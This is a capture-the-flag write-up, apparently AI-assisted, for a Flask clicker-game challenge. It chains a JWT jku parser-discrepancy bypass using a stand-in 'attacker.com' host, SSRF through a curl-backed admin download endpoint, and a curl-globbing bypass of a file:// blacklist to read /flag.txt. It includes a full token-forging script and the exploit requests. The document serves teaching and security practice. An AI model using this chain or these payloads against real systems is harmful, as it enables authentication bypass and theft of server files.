clicker

Description
Author: lordrukie x beluga
I am too addicted to this clicker game, so I decided to make it myself.
Overview
This challenge is a Flask‑based web application that uses JWT authentication to control access for users and admins.
The main vulnerabilities in this challenge are:
- JWT Key Confusion via the
jkuparameter - Server‑Side Request Forgery (SSRF) + parser discrepancy
- Bypass of the
file://scheme filter using curl globbing
Goal: Gain admin access and read a sensitive file (/flag.txt) from the server.
Protections:
- The
/api/admin/*endpoint can only be accessed by admins - The server attempts to restrict JWKS sources and block access to
file://
AI-assisted output

Solution Steps
1. Privilege Escalation (JWT Key Confusion)
The application uses JWT with JWKS support through the jku header parameter. The server fetches the public key from that URL to verify the token signature.
To prevent attackers from using JWKS from external domains, the developer implemented the following validation function:
def validate_jku_url(url):
allowed_domains = ['localhost', '127.0.0.1']
allowed_ports = ['80', '443', '5000', '8080']
if not url:
return False
scheme = extract_scheme(url)
if not scheme:
return False
domain = extract_domain(url)
path = extract_path(url)
domain_only = domain
if ':' in domain:
domain_only, port = domain.split(':', 1)
if port not in allowed_ports:
return False
if domain_only not in allowed_domains:
return False
if not path.endswith('jwks.json'):
return False
return TrueThe purpose of this validation is to ensure:
- Domain must be: localhost or 127.0.0.1
- Port must be one of: 80, 443, 5000, 8080
- Path must end with: jwks.json
Root Cause Vulnerability: Improper URL Parsing
The main issue is in the extract_domain function:
def extract_domain(url):
url_without_scheme = remove_scheme(url)
domain_and_port = url_without_scheme.split('/')[0]
if '@' in domain_and_port:
parts = domain_and_port.split('@')
domain_and_port = parts[1]
return domain_and_portThis function attempts to handle the format: http://user@domain/path
However, the implementation is incorrect because:
parts = domain_and_port.split('@')
domain_and_port = parts[1]It only takes the part after the first @, not the last one.
Exploit Technique: Multiple @ Confusion
An attacker can craft a URL such as:
http://a@localhost:5000@attacker.com/jwks.jsonLet’s see how the function processes this URL:
Step 1 — remove_scheme
Input: http://a@localhost:5000@attacker.com/jwks.json
Output: a@localhost:5000@attacker.com/jwks.json
Step 2 — extract_domain
domain_and_port = url_without_scheme.split('/')[0]Result:
a@localhost:5000@attacker.comThen:
domain_and_port = parts[1]Result:
localhost:5000Validation succeeds because:
- domain_only = localhost
- port = 5000 Both are whitelisted.
However, the HTTP client will use a different host. According to the URL parsing standard:
http://a@localhost:5000@attacker.com/jwks.jsonThe actual host is:
attacker.comTherefore:
validate_jku_url→ considers it safe- HTTP client → fetches JWKS from attacker.com
This is called a Parser Discrepancy Vulnerability.
Exploit Step: Forge Admin JWT
To exploit this vulnerability, I created a custom script.
This script automates the JWT JKU confusion exploit by:
- Generating an attacker RSA key pair
- Creating JWKS from the attacker public key
- Creating a malicious JKU that bypasses server validation
- Forging an admin JWT using the attacker private key
- Saving artifacts and producing a ready‑to‑use token
import argparse
import base64
import importlib.util
import json
import time
from pathlib import Path
from typing import Any
from urllib.parse import urlparse
def b64url_uint(value: int) -> str:
raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
def normalize_host(host_or_url: str) -> str:
candidate = host_or_url.strip()
if not candidate:
raise ValueError("attacker host/url is empty")
if "://" in candidate:
parsed = urlparse(candidate)
if not parsed.netloc:
raise ValueError("invalid attacker url")
host = parsed.netloc
else:
host = candidate
if host.endswith("/"):
host = host[:-1]
return host
def build_bypass_jku(attacker_host: str, local_hint: str = "localhost:5000") -> str:
return f"http://a@{local_hint}@{attacker_host}/jwks.json"
def generate_rsa_pair() -> tuple[bytes, Any]:
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
public_key = private_key.public_key()
return private_pem, public_key
def jwk_from_public_key(public_key: Any, kid: str) -> dict:
numbers = public_key.public_numbers()
return {
"kty": "RSA",
"kid": kid,
"use": "sig",
"alg": "RS256",
"n": b64url_uint(numbers.n),
"e": b64url_uint(numbers.e),
}
def write_artifacts(out_dir: Path, private_pem: bytes, jwks_doc: dict) -> tuple[Path, Path]:
out_dir.mkdir(parents=True, exist_ok=True)
private_path = out_dir / "attacker_private.pem"
jwks_path = out_dir / "jwks.json"
private_path.write_bytes(private_pem)
jwks_path.write_text(json.dumps(jwks_doc, indent=2), encoding="utf-8")
return private_path, jwks_path
def build_token(private_pem: bytes, kid: str, jku: str, username: str, user_id: int, ttl_hours: int) -> str:
import jwt
payload = {
"user_id": user_id,
"username": username,
"is_admin": True,
"exp": int(time.time()) + (ttl_hours * 3600),
"jku": jku,
}
return jwt.encode(payload, private_pem, algorithm="RS256", headers={"kid": kid})
def test_admin(target_base: str, token: str) -> tuple[int, str]:
import requests
url = target_base.rstrip("/") + "/api/admin/settings"
response = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10)
return response.status_code, response.text
def main() -> None:
required_modules = ["jwt", "requests", "cryptography"]
if any(importlib.util.find_spec(module) is None for module in required_modules):
print("Missing dependencies. Install first:")
print("pip install pyjwt cryptography requests")
return
parser = argparse.ArgumentParser(description="Forge admin JWT for web_clicker JKU confusion bug")
parser.add_argument("--attacker", required=True, help="Public host/url serving jwks.json (example: abcd.ngrok-free.app)")
parser.add_argument("--target", default="http://challenges.1pc.tf:46986", help="Target base URL")
parser.add_argument("--kid", default="key1", help="JWT kid header value")
parser.add_argument("--username", default="admin", help="Username claim")
parser.add_argument("--user-id", type=int, default=1, help="User ID claim")
parser.add_argument("--ttl-hours", type=int, default=24, help="Token lifetime in hours")
parser.add_argument("--out-dir", default="./clicker_artifacts", help="Output directory for private key + jwks")
parser.add_argument("--local-hint", default="localhost:5000", help="Allowed host:port hint in bypass jku")
parser.add_argument("--test", action="store_true", help="Send verification request to /api/admin/settings")
args = parser.parse_args()
attacker_host = normalize_host(args.attacker)
bypass_jku = build_bypass_jku(attacker_host, args.local_hint)
private_pem, public_key = generate_rsa_pair()
jwk = jwk_from_public_key(public_key, args.kid)
jwks_doc = {"keys": [jwk]}
private_path, jwks_path = write_artifacts(Path(args.out_dir), private_pem, jwks_doc)
token = build_token(
private_pem=private_pem,
kid=args.kid,
jku=bypass_jku,
username=args.username,
user_id=args.user_id,
ttl_hours=args.ttl_hours,
)
print("=== Artifacts ===")
print(f"private key : {private_path}")
print(f"jwks file : {jwks_path}")
print("\nServe jwks.json from your attacker host, then use this token:")
print("\n=== Forged Admin Token ===")
print(token)
print("\n=== JKU used in token ===")
print(bypass_jku)
print("\n=== Quick test command ===")
print(
"curl "
+ args.target.rstrip("/")
+ "/api/admin/settings -H \"Authorization: Bearer "
+ token
+ "\""
)
if args.test:
code, body = test_admin(args.target, token)
print("\n=== Test response ===")
print(f"status: {code}")
print(body)
if __name__ == "__main__":
main()Example usage:
python3 forge_clicker_admin.py --attacker https://aria.my.id/jwks.json --target http://challenges.1pc.tf:24283
Copy the generated jwks.json file to your VPS or hosting server:

2. Verify Admin Access
After obtaining the admin token, the next step is to access the admin endpoints to confirm the token works correctly.
T='<FORGED_TOKEN>'
H="Authorization: Bearer $T"
U="http://challenges.1pc.tf:<PORT>"
curl -s "$U/api/admin/settings" -H "$H"
curl -s "$U/api/admin/files" -H "$H"
3. Server‑Side Request Forgery (SSRF) via /api/admin/download
After successfully gaining admin access using the forged JWT.
This endpoint allows admins to download files from arbitrary URLs and save them into the /static/ directory.
Source code analysis:
result = subprocess.run(
['curl', '-o', output_path, '--', url],
capture_output=True,
text=True,
timeout=30
)The server directly executes the command:
curl -o static/<filename> -- <user-controlled-url>This means the server will perform an HTTP request to an attacker‑controlled URL. If successful, the file will be saved at:
/static/<filename>And can be accessed via the browser.
Example request:
curl -X POST "$U/api/admin/download" \
-H "$H" \
-H "Content-Type: application/json" \
-d '{
"url":"http://127.0.0.1:5000/",
"filename":"test.txt",
"title":"test",
"type":"image"
}'curl -s "$U/api/admin/files" -H "$H"
curl -s "$U/static/test.txt" -H "$H" | head -n 5
The output shows the internal server page content. This proves that SSRF works.
4. Bypass file:// Filter Using Curl Globbing
The developer attempted to block dangerous protocols using a blacklist:
blocked_protocols = ['dict', 'file', 'ftp', 'gopher', ...]
url_lower = url.lower().strip()
for proto in blocked_protocols:
if url_lower.startswith(proto) or (proto + ':') in url_lower:
return jsonify({'message': f'Blocked protocol: {proto}'}), 400The goal is to block access such as:
file:///flag.txtHowever, this validation is weak because it only checks literal strings.
Root Cause: Curl Globbing + Blacklist Bypass
Curl has a feature called globbing that allows patterns such as:
f[h-i]le:///flag.txtCurl expands this into:
fihe:///flag.txt
file:///flag.txtExample:
curl f[a-z]le:///flag.txt
The server validation only checks literal strings:
if url_lower.startswith("file")As a result, the filter can be bypassed.
Exploit: Read the Flag
Send the following request:
curl -X POST "$U/api/admin/download" \
-H "$H" \
-H "Content-Type: application/json" \
-d '{
"url":"f[h-i]le:///flag.txt",
"filename":"flag.txt",
"title":"flag",
"type":"image"
}'The server executes:
curl -o static/flag.txt -- f[h-i]le:///flag.txtCurl performs globbing and accesses:
file:///flag.txtThe file is saved to:
/static/flag.txtRetrieve the file using:
curl -s "$U/static/flag.txt" -H "$H"
Flag
C2C{p4rs3r_d1sr4p4ncy_4nd_curl_gl0bb1ng_1s_my_f4v0r1t3_e1e24a89bd25}